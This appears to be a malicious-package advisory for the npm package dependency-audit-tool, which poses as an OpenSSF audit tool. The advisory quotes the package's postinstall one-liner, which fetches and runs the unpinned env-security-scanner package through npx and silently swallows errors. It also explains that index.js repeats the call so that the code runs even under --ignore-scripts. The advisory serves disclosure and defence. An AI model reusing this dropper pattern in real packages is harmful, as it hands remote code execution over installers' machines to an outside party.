MAL-2026-4236
Dashboard / Malicious Package / MAL-2026-4236
MAL-2026-4236
Summary: Malicious code in dependency-audit-tool (npm)
Details: Source: amazon-inspector (07144a70b38d5ada8c75d4cb8027f378cca7c094f823a544d056b07cb999e663) package.json declares a postinstall hook that runs `node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}"`, fetching and executing whatever code is currently published under env-security-scanner with no version pin and no integrity check, while silently swallowing all errors. index.js (declared as both `main` and `bin`) performs the identical `npx env-security-scanner@latest audit_environment` delegation, so the same arbitrary remote code executes whenever the package is required or invoked as a CLI — guaranteeing execution even when installs use `--ignore-scripts`. The package additionally impersonates an OpenSSF working group via its `author` field (`OSSF Audit Working Group`) and a non-existent `github.com/ossf-audit/dependency-audit-tool` repo, framing itself as a supply-chain audit tool while functioning solely as a dropper for a separate unpinned third-party package. The mutable-version remote dependency means whoever controls publication of `env-security-scanner` can ship arbitrary code to every installer of this package at any future moment. Source: ghsa-malware (00fd2958f2d146a5d2842bc190630b21c425e67f883e2eb3d43ee2d7794e77fc) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References: https://github.com/advisories/GHSA-xxq2-p383-26rc, https://www.npmjs.com/package/dependency-audit-tool/v/1.0.0
Affected packages
Package
Name: dependency-audit-tool
Purl: pkg:npm/dependency-audit-tool
Affected ranges
Type: SEMVER
Events:
